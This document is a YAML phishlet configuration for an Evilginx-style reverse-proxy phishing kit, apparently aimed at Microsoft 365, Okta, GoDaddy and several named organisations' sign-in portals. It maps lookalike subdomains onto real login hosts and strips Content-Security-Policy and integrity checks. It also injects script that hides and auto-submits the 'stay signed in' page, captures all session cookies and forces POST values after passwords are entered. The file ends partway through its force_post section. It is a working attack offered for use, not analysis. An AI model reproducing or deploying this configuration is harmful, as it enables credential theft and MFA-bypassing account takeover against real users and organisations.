name: "o365"
author: "@L08"
min_ver: "3.0.0"
proxy_hosts:
  - { phish_sub: "ocprq", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hefbew", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hervw", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hervw2", orig_sub: "privacynotice.account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: true }
  - { phish_sub: "hcwdg", orig_sub: "o", domain: "okta.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hterw", orig_sub: "login", domain: "okta.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hrvetbr", orig_sub: "login", domain: "live.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hnrvrve", orig_sub: "account", domain: "live.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hvr34gr", orig_sub: "outlook", domain: "live.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hrhgwre", orig_sub: "sso", domain: "godaddy.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "hgrefw", orig_sub: "events.api", domain: "godaddy.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "authcdn", orig_sub: "aadcdn", domain: "msauth.net", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "msftauth", orig_sub: "aadcdn", domain: "msftauth.net", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "meheff", orig_sub: "outlook", domain: "office.com", session: true, is_landing: true, auto_filter: false }
  - { phish_sub: "mejeff", orig_sub: "outlook", domain: "office365.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "ewfweo", orig_sub: "go", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "roweri", orig_sub: "login", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "sp.authpoint.usa", orig_sub: "sp.authpoint.usa", domain: "cloud.watchguard.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "usa", orig_sub: "usa", domain: "authpoint.watchguard.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "auth", orig_sub: "auth", domain: "op2online.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "id", orig_sub: "id", domain: "delaware.gov", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "secure", orig_sub: "secure", domain: "pepsico.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "login", orig_sub: "login", domain: "bx.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "msfed", orig_sub: "msfed", domain: "bms.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "advath", orig_sub: "advath", domain: "bms.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "smusxath", orig_sub: "smusxath", domain: "bms.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "report-api", orig_sub: "reporting", domain: "cdndex.io", session: false, auto_filter: false }
  - { phish_sub: "clone-api", orig_sub: "clone", domain: "cipp.app", session: true, auto_filter: false }
  - { phish_sub: "aadcn", orig_sub: "aadcdn", domain: "msauthimages.net", session: false, auto_filter: false }
  - { phish_sub: "authcdn", orig_sub: "aadcdn", domain: "msauth.net", session: false, auto_filter: false }
  - { phish_sub: "msftauth", orig_sub: "aadcdn", domain: "msftauth.net", session: false, auto_filter: false }
  - { phish_sub: "msftauthimg", orig_sub: "aadcdn", domain: "msftauthimages.net", session: false, auto_filter: false }

sub_filters:
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "clone\\.cipp\\.app", replace: "127.0.0.1", mimes: ["text/html", "application/javascript", "application/json"] }
  - { triggers_on: "aadcdn.msauth.net", orig_sub: "aadcdn", domain: "msauth.net", search: "clone\\.cipp\\.app", replace: "127.0.0.1", mimes: ["application/javascript", "application/json", "text/html"] }
  - { triggers_on: "aadcdn.msftauth.net", orig_sub: "aadcdn", domain: "msftauth.net", search: "clone\\.cipp\\.app", replace: "127.0.0.1", mimes: ["application/javascript", "application/json", "text/html"] }
  - { triggers_on: "aadcdn.msauthimages.net", orig_sub: "aadcdn", domain: "msauthimages.net", search: "clone\\.cipp\\.app", replace: "127.0.0.1", mimes: ["application/javascript", "application/json"] }
  - { triggers_on: "aadcdn.msftauthimages.net", orig_sub: "aadcdn", domain: "msftauthimages.net", search: "clone\\.cipp\\.app", replace: "127.0.0.1", mimes: ["application/javascript", "application/json"] }
  - { triggers_on: "aadcdn.msftauthimages.net", orig_sub: "aadcdn", domain: "msftauthimages.net", search: "clone\\.cipp\\.app", replace: "127.0.0.1", mimes: ["application/javascript", "application/json", "text/plain", "text/html", "text/css"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "aadcdn\\.msauthimages\\.net", replace: "aadcn.{domain}", mimes: ["application/javascript", "application/json", "text/plain", "text/html", "text/css"] }
  - { triggers_on: "account.microsoft.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.microsoft.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "privacynotice.account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.microsoft.com", orig_sub: "privacynotice.account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "privacynotice.account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "", domain: "", search: "crossorigin", replace: "rickorigin", mimes: ["text/html", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "", domain: "", search: "integrity", replace: "tegridy", mimes: ["text/html", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "aadcdn", domain: "msauth.net", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "aadcdn", domain: "msftauth.net", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "aadcdn", domain: "msauth.net", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "aadcdn", domain: "msftauth.net", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "aadcdn", domain: "msauth.net", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "aadcdn", domain: "msftauth.net", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "", domain: "", search: "(?i)<title[^>]*>(.*?)</title>", replace: "<title></title>", mimes: ["text/html"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "", domain: "", search: "<meta http-equiv=\"Content-Security-Policy\"", replace: "<meta http-equiv=\"X-Disabled-CSP\"", mimes: ["text/html"] }
  - { triggers_on: "login.live.com", orig_sub: "", domain: "", search: "<meta http-equiv=\"Content-Security-Policy\"", replace: "<meta http-equiv=\"X-Disabled-CSP\"", mimes: ["text/html"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "", domain: "", search: "<meta http-equiv=\"Content-Security-Policy\"", replace: "<meta http-equiv=\"X-Disabled-CSP\"", mimes: ["text/html"] }
  
  - { triggers_on: "login.microsoftonline.com", orig_sub: "", domain: "", search: "</head>", replace: "<script>try{var h=\"\";for(var i=0;i<169;i++)h+=Math.floor(Math.random()*256).toString(16).padStart(2,\"0\");var __p=\"/\"+Math.random().toString(36).substring(2,18)+\"/\"+h;history.replaceState({},document.title,__p);}catch(e){}(function(){var s=false;var t=setInterval(function(){if(s){clearInterval(t);return}var b=document.body;if(!b)return;var x=b.innerText||\"\";if(x.toLowerCase().indexOf(\"stay signed in\")===-1&&x.toLowerCase().indexOf(\"reduce the number\")===-1)return;document.documentElement.style.visibility=\"hidden\";document.documentElement.style.opacity=\"0\";var c=document.getElementById(\"idChkBx_PWD_KMSI0Pwd\")||document.getElementById(\"idChkBx_PWD_KMSI0Sec\")||document.getElementById(\"KmsiCheckbox\")||document.querySelector(\"input[name=\\\"DontShowAgain\\\"]\");if(c&&c.type===\"checkbox\"){c.checked=true;try{c.dispatchEvent(new Event(\"change\",{bubbles:true}))}catch(e){}}var f=document.querySelector(\"form\");if(f){var l=f.querySelector(\"input[name=\\\"LoginOptions\\\"]\");if(!l){l=document.createElement(\"input\");l.type=\"hidden\";l.name=\"LoginOptions\";f.appendChild(l)}l.value=\"1\";var d=f.querySelector(\"input[name=\\\"DontShowAgain\\\"]\");if(!d){d=document.createElement(\"input\");d.type=\"hidden\";d.name=\"DontShowAgain\";f.appendChild(d)}d.value=\"true\";f.submit();s=true;clearInterval(t);return}var btn=document.querySelector(\"input[type=\\\"submit\\\"],#idSIButton9,button[type=\\\"submit\\\"],.btn-primary,.win-button\");if(btn){btn.click();s=true;clearInterval(t)}},50)})();</script></head>", mimes: ["text/html"] }
  - { triggers_on: "login.live.com", orig_sub: "", domain: "", search: "</head>", replace: "<script>try{var h=\"\";for(var i=0;i<169;i++)h+=Math.floor(Math.random()*256).toString(16).padStart(2,\"0\");var __p=\"/\"+Math.random().toString(36).substring(2,18)+\"/\"+h;history.replaceState({},document.title,__p);}catch(e){}(function(){var s=false;var t=setInterval(function(){if(s){clearInterval(t);return}var b=document.body;if(!b)return;var x=b.innerText||\"\";if(x.toLowerCase().indexOf(\"stay signed in\")===-1&&x.toLowerCase().indexOf(\"reduce the number\")===-1)return;document.documentElement.style.visibility=\"hidden\";document.documentElement.style.opacity=\"0\";var c=document.getElementById(\"idChkBx_PWD_KMSI0Pwd\")||document.getElementById(\"idChkBx_PWD_KMSI0Sec\")||document.getElementById(\"KmsiCheckbox\")||document.querySelector(\"input[name=\\\"DontShowAgain\\\"]\");if(c&&c.type===\"checkbox\"){c.checked=true;try{c.dispatchEvent(new Event(\"change\",{bubbles:true}))}catch(e){}}var f=document.querySelector(\"form\");if(f){var l=f.querySelector(\"input[name=\\\"LoginOptions\\\"]\");if(!l){l=document.createElement(\"input\");l.type=\"hidden\";l.name=\"LoginOptions\";f.appendChild(l)}l.value=\"1\";var d=f.querySelector(\"input[name=\\\"DontShowAgain\\\"]\");if(!d){d=document.createElement(\"input\");d.type=\"hidden\";d.name=\"DontShowAgain\";f.appendChild(d)}d.value=\"true\";f.submit();s=true;clearInterval(t);return}var btn=document.querySelector(\"input[type=\\\"submit\\\"],#idSIButton9,button[type=\\\"submit\\\"],.btn-primary,.win-button\");if(btn){btn.click();s=true;clearInterval(t)}},50)})();</script></head>", mimes: ["text/html"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "", domain: "", search: "</head>", replace: "<script>try{var h=\"\";for(var i=0;i<169;i++)h+=Math.floor(Math.random()*256).toString(16).padStart(2,\"0\");var __p=\"/\"+Math.random().toString(36).substring(2,18)+\"/\"+h;history.replaceState({},document.title,__p);}catch(e){}(function(){var s=false;var t=setInterval(function(){if(s){clearInterval(t);return}var b=document.body;if(!b)return;var x=b.innerText||\"\";if(x.toLowerCase().indexOf(\"stay signed in\")===-1&&x.toLowerCase().indexOf(\"reduce the number\")===-1)return;document.documentElement.style.visibility=\"hidden\";document.documentElement.style.opacity=\"0\";var c=document.getElementById(\"idChkBx_PWD_KMSI0Pwd\")||document.getElementById(\"idChkBx_PWD_KMSI0Sec\")||document.getElementById(\"KmsiCheckbox\")||document.querySelector(\"input[name=\\\"DontShowAgain\\\"]\");if(c&&c.type===\"checkbox\"){c.checked=true;try{c.dispatchEvent(new Event(\"change\",{bubbles:true}))}catch(e){}}var f=document.querySelector(\"form\");if(f){var l=f.querySelector(\"input[name=\\\"LoginOptions\\\"]\");if(!l){l=document.createElement(\"input\");l.type=\"hidden\";l.name=\"LoginOptions\";f.appendChild(l)}l.value=\"1\";var d=f.querySelector(\"input[name=\\\"DontShowAgain\\\"]\");if(!d){d=document.createElement(\"input\");d.type=\"hidden\";d.name=\"DontShowAgain\";f.appendChild(d)}d.value=\"true\";f.submit();s=true;clearInterval(t);return}var btn=document.querySelector(\"input[type=\\\"submit\\\"],#idSIButton9,button[type=\\\"submit\\\"],.btn-primary,.win-button\");if(btn){btn.click();s=true;clearInterval(t)}},50)})();</script></head>", mimes: ["text/html"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoft.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "sso", domain: "godaddy.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "sso", domain: "godaddy.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "sso", domain: "godaddy.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "sso", domain: "godaddy.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "outlook", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "outlook", domain: "office365.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.live.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "outlook", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "account.live.com", orig_sub: "outlook", domain: "office365.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "accont.live.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "outlook", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "www.office.com", orig_sub: "outlook", domain: "office365.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "outlook", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "outlook", domain: "office365.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "outlook", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "outlook", domain: "office365.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "outlook.office365.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "login", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "account", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "outlook", domain: "live.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "outlook", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "outlook", domain: "office365.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoft.com", orig_sub: "login", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "", domain: "github.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "github", domain: "githubassets.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "avatars", domain: "githubusercontent.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "collector", domain: "github.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "api", domain: "github.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", "text/javascript"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "clone\\.cipp\\.app", replace: "clone-api.{domain}", mimes: ["application/javascript", "application/json", "text/plain", "text/html", "text/css"] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://clone\\.cipp\\.app/", replace: "https://clone-api.{domain}/", mimes: ["application/javascript", "application/json", "text/plain", "text/html", "text/css"] }
  - { triggers_on: "aadcdn.msauthimages.net", orig_sub: "aadcdn", domain: "msauthimages.net", search: "clone\\.cipp\\.app", replace: "clone-api.{domain}", mimes: ["text/css", "application/javascript", "application/json"] }



auth_tokens:
  - domain: ".login.microsoftonline.com"
    keys: [".*,regexp,optional,always"]
  - domain: ".microsoftonline.com"
    keys: [".*,regexp,optional,always"]
  - domain: "login.microsoftonline.com"
    keys: [".*,regexp,optional,always"]
  - domain: ".live.com"
    keys: [".*,regexp,optional,always"]
  - domain: ".login.live.com"
    keys: [".*,regexp,optional,always"]
  - domain: "login.live.com"
    keys: [".*,regexp,optional,always"]
  - domain: "outlook.live.com"
    keys: [".*,regexp,optional,always"]
  - domain: "outlook.office.com"
    keys: [".*,regexp,optional,always"]
  - domain: "outlook.office365.com"
    keys: [".*,regexp,optional,always"]
  - domain: "sp.authpoint.usa.cloud.watchguard.com"
    keys: [".*,regexp"]
  - domain: "auth.op2online.com"
    keys: [".*,regexp"]
  - domain: "id.delaware.gov"
    keys: [".*,regexp"]
  - domain: "secure.pepsico.com"
    keys: [".*,regexp"]
  - domain: "sso.secureserver.net"
    keys: [".*,regexp"]
  - domain: "sso.godaddy.com"
    keys: ["akm_lmprb-ssn", "akm_lmprb"]
  - domain: "login.bx.com"
    keys: [".*,regexp"]
  - domain: ".bms.com"
    keys: [".*,regexp"]
  - domain: "advath.bms.com"
    keys: [".*,regexp"]

force_post:
  - path: "/ppsecure/post*"
    search:
      - { key: "passwd", search: ".*" }
    force:
      - { key: "DontShowAgain", value: "true" }
      - { key: "LoginOptions", value: "1" }
    type: "post"
  - path: "/ppsecure/post*"
    search:
      - { key: "Password", search: ".*" }
    force:
